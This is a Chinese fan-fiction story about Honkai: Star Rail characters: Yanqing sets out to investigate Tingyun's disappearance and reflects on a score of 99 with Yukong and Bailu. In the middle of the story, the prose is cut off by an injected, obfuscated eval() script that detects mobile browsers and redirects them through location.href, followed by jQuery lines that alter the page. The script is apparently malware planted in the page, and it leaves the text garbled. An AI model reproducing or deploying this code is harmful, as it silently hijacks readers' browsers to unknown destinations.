◆
“彦卿少侠,可是此剑尚有瑕疵?”
彦卿闷不吭声思考,听到问话才发现自己太久没出声,连忙抬头回:“绝非如此!”百冶的标识他还是认得的。
“只是,停云姑娘已送了彦卿许多礼物,彦卿也想回报一二,”少年向来不是能藏住事的性子,当事人在眼前,他就直接问了,“停云姑娘可有喜欢的物件?彦卿定会尽力寻来。”
哦?
能言善辩的狐人女子以扇掩面,碧眼微睁显出惊讶,而后弯眉眯眼,摇摇扇子温和笑了。
驭空大人在射箭。
彦卿停下来,站在校场外看,没有出声。
狐人善射,据说驭空大人年轻时也是个中翘楚,是远近闻名的王牌飞行士,星槎操作和空中射击都是一把好手。
但是上次他来时,驭空大人同样是面对皮侯,却……
场中人放下弓,转向他,隔着不远的距离静静凝视,浅紫的眸子平静无波。
依然没有射出吗。
彦卿低头行礼:“驭空司舵。”
“嗯。”
对方轻轻应了声,而后又是短暂的沉默,才问起:“你要去塔拉萨?”
彦卿不意外驭空大人知道,此事本就由对方全程跟进,他递交的申请想来对方能轻松看到。
关于,停云姑娘。
“是。”
仙舟平稳重建后,大家将那些混乱中少有人注意到的信息重新整合,案子就有了新进展:
停云姑娘在时,曾代表鸣火商会与塔拉萨渊主达成协议,将当地特产灯鱼引入鳞渊境,交由喜水的持明养护使其体型翻倍(注1);
在药王秘传使用的药物药方中,同时出现了持明波月古海和塔拉萨的特产(注2);
而罗浮封锁当天,流云渡口就停着一架来自塔拉萨的运货船,所运货物又正是灯鱼……那段记录甚至还是彦卿发现的(注3)。
如此多的巧合,叫人无法不在意。
他原本疑惑幻胧为何挑停云姑娘下手:天舶司接渡使一天要见许多人,暴露的可能很大。如今看,或许是停云姑娘无意卷入了这三方的阴谋。
下一步调查,无非从持明或塔拉萨入手,但持明那边……不提也罢。
为避免打草惊蛇,仙舟预备派少量精锐前往调查,彦卿主动提交了申请。
“我不赞同你去。”驭空的语调依旧平淡,似乎没有转圜的余地。
但彦卿同样不打算回头,他挺直背脊:“您不赞同,我也还是会去的。”
那双浅紫色眼睛瞧着他,依然平静,似乎并不意外,只是示意他进校场来,指指墙上挂着的备用弓弦:
“来射箭。”
彦卿过去也在驭空的视线下射过箭。
彼时他来天舶司登门拜访,正撞见驭空射箭,装备完整,却只是静静看着皮侯,转头对他说话时是和现在相同的语气:“来射箭。”
彦卿剑胎武骨,喜剑也擅剑,用弓箭的时间少,但并非完全不懂。
长辈叫他,他就兴冲冲过来,弯弓搭箭,最后十有九中。少年人看着皮侯上的痕迹不免得意,也顾不上熟不熟,转头仰脸就眼睛亮亮跟大人讨夸奖。
驭空司舵夸他:“厉害。”
他高兴了,呆毛高高翘起转来转去。
但紧接着是似乎无关的话题:“你已去过战场,感受如何?”
啊。
彦卿确实不久前才去过战场,那是他第一次上战场,首战告捷,巨大的防风器兽被他一剑斩首,隔着器兽头和身子间的空隙,他看见云骑同袍们或喜或惊的脸。
感受如何,嗯——彦卿闭眼抱臂思考:
敌人都挺弱的,唯有首领勉强可看,他于万军之中取敌将首级,云骑军大获全胜,很有成就感……还有别的吗?
有。
是什么?
不知道。
彦卿抓抓脑袋,他想不出来,但总觉得要是就这样给驭空大人答了,怕不是要被打零分。
于是又是长长一段沉默。
1.
「空间站有一把定分枪,能给范围内的物体打分。彦卿是99分哦。」
只差一分就一百了,彦卿提问时不由困惑,还有点不甘心,「敢问老师,九十九作何解?」
「99可是好数字啊!」云游四方的开拓者托着下巴,闭眼自信,「谐音作‘久久’,取长久之意,长长久久地活着,长长久久地和大家在一起。」
「长长久久地开拓,永无止境!」开拓者叉腰,「帅吧!」
「帅!」彦卿点头应,不过,「彦卿不是无名客。」
「哎呀,“长久”的寓意是一样的嘛!」
99,久久。
老师给他报数字的时候,说是长长久久,极好的寓意。他后来想,这份长久若能分给别人,自然是更好。
虽说最终并没有做到。
2.
他初知分数时觉得新鲜,向许多人询问过九十九的含义。
西衍先生说是“九九归一”——一为本,九为极,意指修炼到极致就会返璞归真,臻至更高境界,也就是由“九十九”来到新的“一”;
小黑眼镜闪着睿智的光:“彦卿骁卫天纵奇才,一朝顿悟,日后修行也必将畅通无阻。”
若月老板说“奇为阳,偶为阴”,九在奇数中最大,是一个至阳之数,“九五之尊”一词,便是以九指代至高无上的权力地位;九又是龙形,意指神圣吉祥、身份尊贵。
卜者隐于帘后话中带笑:“哎呀,虽然不明来头,但想来阁下日后必登高位呀。”
云骑同袍说是“九九重阳节”,“阳”指阳寿,“九九”指长命,重阳节是与家人团聚、哀悼亡者、登高望远的节日。
“又叫‘老人节’,祝愿老人阳寿绵长,”同袍边比划边跟他说,“现在小孩不知道这个?”
你才小孩。
彦卿不大乐意地撑起下巴应了声:“我知道。”
“反正你是仙舟的小孩子,”同袍没有任何在雷区蹦迪的自觉,还顺手薅了一把他脑袋,“还有好久好久可以活呢!”
大家说的似乎都没错,九十九确实是个好数字。
彦卿那时为了得到答案,揣着袋巡镝散财童子一样从街头发到街尾,最后收了一堆祝福,还有好些零零碎碎的小玩意儿。
他往常不乐意被当小孩子哄,这么一圈下来却也被夸得面红耳赤,回家后便小心珍视地将礼物妥善放好,时不时拿出来看,回想别人对自己说过的话。
于是连带着更早以前停云姑娘的部分,也记得格外清楚:
“我什么都不缺呀~”狐人女子笑语盈盈,“若有中意的物件,我自己挑选岂不是更合心意?或者……彦卿少侠除剑术外,还擅长给女子挑选钗环首饰?”
不不不他不擅长!
彦卿卡壳,硬着头皮答:“彦卿会、挑剑衣?”这算吗?
好吧果然不算。
停云轻笑出声,笑得他正窘迫时,对方弯腰提议:“过不久,小女子就要再度出使,彦卿少侠是被仙舟祝福的孩子,不若分两句祝福给我?”
彦卿一怔。
3.
“所以,你要去查停云小姐的案子?”
白露坐在凳子上晃晃腿,有些心不在焉。
停云还在时是她这儿的常客,说是出使辛苦,身上哪哪儿都痛,一定要龙女大人按摩才能好。一来二去的,她们就熟了。
谁知道会发生那样的事,现在连你都要离开了。
白露有些伤感:幻胧作乱后受令来看管她的云骑里,就彦卿年纪最小话最多,于是就算出不去,她也经常找彦卿,两个人鬼鬼祟祟缩起来吐槽大人,攒出些革命友谊……
“是,”面前少年拱手辞行,“就算彦卿离开,其他云骑也会看好白露大人的。”
这个就可以不用提了啊!话说我就是翘个家而已,真的需要看这么严吗!我们的革命友谊呢?!
算了。白露“哼”一声,扭头:“你走呗。”
彦卿点头,老老实实道别:“白露大人保重。”转身迈步时肩膀一重,肩上飘带被人从尾部拽住了,他顺着力道回头:
“你会回来的吧。”
小龙尊已从凳子上跳下来,抱着点心盒子抬头看他,瘪嘴的闷气样子看得人不由心软。
她不高兴,又很认真地重复:“你要回来啊。”
和龙女混熟后,彦卿自然也向她问过“九十九”的问题。
“九呢,为至大之数,至阳之数……”
衔药龙女伸出小手在他眼前晃晃,闭眼炫耀自己的医书储备,虽说这回答似乎与医道无关,“你应该听说过‘数九’的歌谣吧。”
一九二九不出手,
三九四九冰上走,
五九六九沿河看柳,
七九河开,
□□燕来。
九九加一九,耕牛遍地走。
“转眼消寒过九九,春光又到艳阳天。”
“至阳之数”的积累意味着阴气的日益消减,从冬至开始数,历时近三月,到第九个“九天”时,寒去暖来、万物复苏,“春已深矣”。
你要回来啊。
当然。
“我是燕子嘛。”彦卿蹲下,左袖上的三只银燕子依然闪亮。
少年托住下巴笑着对人保证:“您说过的,燕子到时间了一定会回来。”
他这一说白露就想起来了,眼睛一亮:
“□□燕来!”
“对,□□燕来。”
白露脑子转得飞快:
“八九七十二、两个半月!两个半月你就该回来了吧!”
彦卿没说话,只看着她。
“好吧,我知道不太可能。”她丧气低头。
少年却揉揉她脑袋,笑得没心没肺:“放心啦,虽然时间说不准,但只要我还活着,就一定会回来,而且要把停云姑娘一起带回来!”
“你这家伙……”白露低头揉眼睛,不看他,“话说太满很容易被打脸的啦笨蛋!”
◆
分祝福?
彦卿琢磨这话的意思。
他身世不明,顶着一头金发在仙舟,却领受诸多善意成长到现在,说是“被祝福的孩子”也不错。
只是,两句祝福语怎么能算礼物?</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332675|199178||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
必是不算的,更像是停云姑娘给他开的话头递了个巧妙的台阶,但他不想要台阶。
他抬眼,狐人女子依然笑盈盈看着他,温和又亲近。
什么都不缺,反过来就是送什么都没差咯。彦卿盘算着自己先挑,等停云姑娘回来直接送给她,眼下先给祝福。
少年骁卫行了一个告别礼:
“祝停云姑娘出使一切顺利,早日平安归来!”
可后来以她形貌踏上仙舟甲板的,似她却非她,终是伪物罢了。
4.
“九十九”在不同人眼中拥有不同的意义,但奇异的是,他没有听过一句坏话。虽然可能和他那袋巡镝有关。
「彦卿少侠是被仙舟祝福的孩子,不若分两句祝福给我?」
停云姑娘明明是那么好的人,却要经受这种祸。
他也问过驭空“九十九”的问题,回答是:战场上“失之毫厘,谬以千里”,他应该注意缺失的那个“一”,不可因大意丧命。
此时正是午时大太阳。
彦卿听话进了校场,挽弓搭箭,射了九箭都正中红心,驭空喊停,夸他“厉害”。
离他上回在这里射箭已过去许久,彦卿也经历了许多,只放下弓抬头笑笑:“想来比之驭空司舵还差得远。”
驭空不置可否,问起别的:
“你报名参与调查塔拉萨的理由?”
“此案牵涉颇广,幕后主使迟迟不露面,只会让更多人受害。”
彦卿寻思申请上写得挺清楚了,然而长辈发问,不好不答。
“彦卿凭借剑术或也可称云骑精锐,没有后退的道理。”
驭空没出声。
他心下一沉,咬牙直说:“停云姑娘还在时,彦卿受到她诸多照顾,哪怕纯以私心论,也希望能寻得她的下落……”
而后,听见头顶一声轻轻的叹气声,他停住,抬头看。
严肃的司舵大人难得目光柔和:“私心,不错的理由。”
柔和,又像是终于安心一样的放松。彦卿惊觉眼前的长辈似乎一直很担心自己,可是,担心什么呢?又为什么安心了?
“战场非儿戏,”驭空没等他问,“事实上,我一直不赞成将军送你上战场。”
彦卿面有不忿,张口要说话。
驭空也没等他答:“保护仙舟、抗击丰饶,这是云骑共同的理由。”
“但除这些外,你还需要自己的理由。”
少年心思纯澈,没有私心、没有怀疑,又因着自身天赋和所受培养,觉得上战场是天经地义、不需要理由的事情。
怎么会是不需要理由的?
所以哪怕听闻了那些堪称骇人的战绩,她也从来不赞成彦卿上战场。
……自己的理由?
少年面上的不服气转为困惑,欲言又止,说起老生常谈的话题:“战场上瞬息万变,唯战事胜利最为重要,云骑应抛却私心杂念……”就连此次因私心想去塔拉萨参与调查,彦卿都有些心虚。
“那不是私心杂念,”驭空慢慢摇头,“那是支撑你在世间行走的力量。”
私心并非可耻之物,云骑的私心融在仙舟的命运里,最后赢来的才是我们共同的胜利。
你的年纪还太小,所经历的一切,不足以引导你找到自己的理由。
“你确实是天生的一把剑,”驭空摸摸少年的脑袋,声音很轻。摸到一手小孩细软的头发:可又不只是剑。
“剑之为物,不是血染战场,便是剑折锋摧的结局。”
因此,出剑的理由格外重要。在找到之前,大可以放慢脚步好好长大,不必着急去战场那种地方……
好像听懂了,好像没听懂。
以驭空司舵的情况看:和停云姑娘共事多年,为寻找停云姑娘重返天空,是“私心”;而王牌飞行士回归,给大家带来更多胜的可能,是“融入仙舟命运”。
彦卿琢磨着,还是不确定自己是否听懂了。
但至少他听得出善意。少年细细咀嚼这些话语,顶着手掌仰头看,正对上那双沉静的紫色眼睛,不闪不避:
“彦卿无意冒犯长辈,但驭空司舵,您当真要用这般心态重回天空吗?”
一个剑客的光芒与生命,往往就在他手里握着的剑上。
“即便剑折锋摧,它也已爆发出自己应有的光华了。”
驭空敛眸。
驭空:你根本就没听懂。
彦卿:咳咳。
罢了。
驭空瞧着东看西看假装自己很忙的少年,心下无奈:反正此次只是调查,反正他也渐渐开始寻找自己的理由了。
彦卿结束尴尬的乱看过程,拿起弓射出第十箭。驭空看过去,箭尖在大太阳底下闪着锋利的寒光,一往无前,最后依然正中红心。
少年放下弓得意拱手:“驭空司舵,彦卿在塔拉萨等您来!”
驭空:小孩子就是容易得意忘形呢。
她哭笑不得摇摇头:“那就去吧。”
“记得,九十九……”
彦卿已经跑远了,跑得老远居然还能听见,边跑边大力招手:“好——您、别、担、心!彦卿记住了!”